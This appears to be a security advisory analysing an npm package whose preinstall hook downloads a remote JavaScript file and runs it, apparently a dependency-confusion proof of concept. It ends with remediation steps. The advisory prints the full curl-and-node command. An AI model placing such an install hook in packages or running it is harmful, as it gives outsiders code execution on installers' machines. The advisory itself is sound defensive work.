package.json declares a preinstall lifecycle hook that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js. On any npm install, the script fetches an unpinned, mutable JavaScript file from poc.amanrawat.com over plain HTTPS and immediately executes it with node under the installer's user account. There is no hash or signature verification, no version pinning, and the destination is not a recognized runtime/CDN or publisher-owned host. The package name (sn-internal-testjgsakjdkjadkjahsdkjad), description ("This is our internal app for testing"), and the poc. (proof-of-concept) hostname indicate this is a dependency-confusion / supply-chain PoC, but the install-time payload is a real and unconditional remote-code-execution primitive against any installer.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
